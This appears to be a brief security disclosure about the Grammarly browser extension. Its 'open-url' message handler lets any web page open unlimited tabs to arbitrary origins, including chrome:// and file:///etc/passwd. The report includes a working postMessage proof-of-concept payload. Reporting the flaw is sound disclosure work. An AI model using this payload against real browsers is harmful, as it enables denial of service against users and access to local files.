`open-url` command allows opening unlimited number of tabs pointing to arbitrary URLs

Attacker could trigger Grammarly extension's `open-url` command to open any number of tabs pointing to any origin (including internal, e.g. `chrome://`) and cause "infinite Chrome DoS" if attacker's page is pinned.

window.postMessage({
    grammarly: true,
    action: 'open-url',
    url: 'file:///etc/passwd'
}, "*")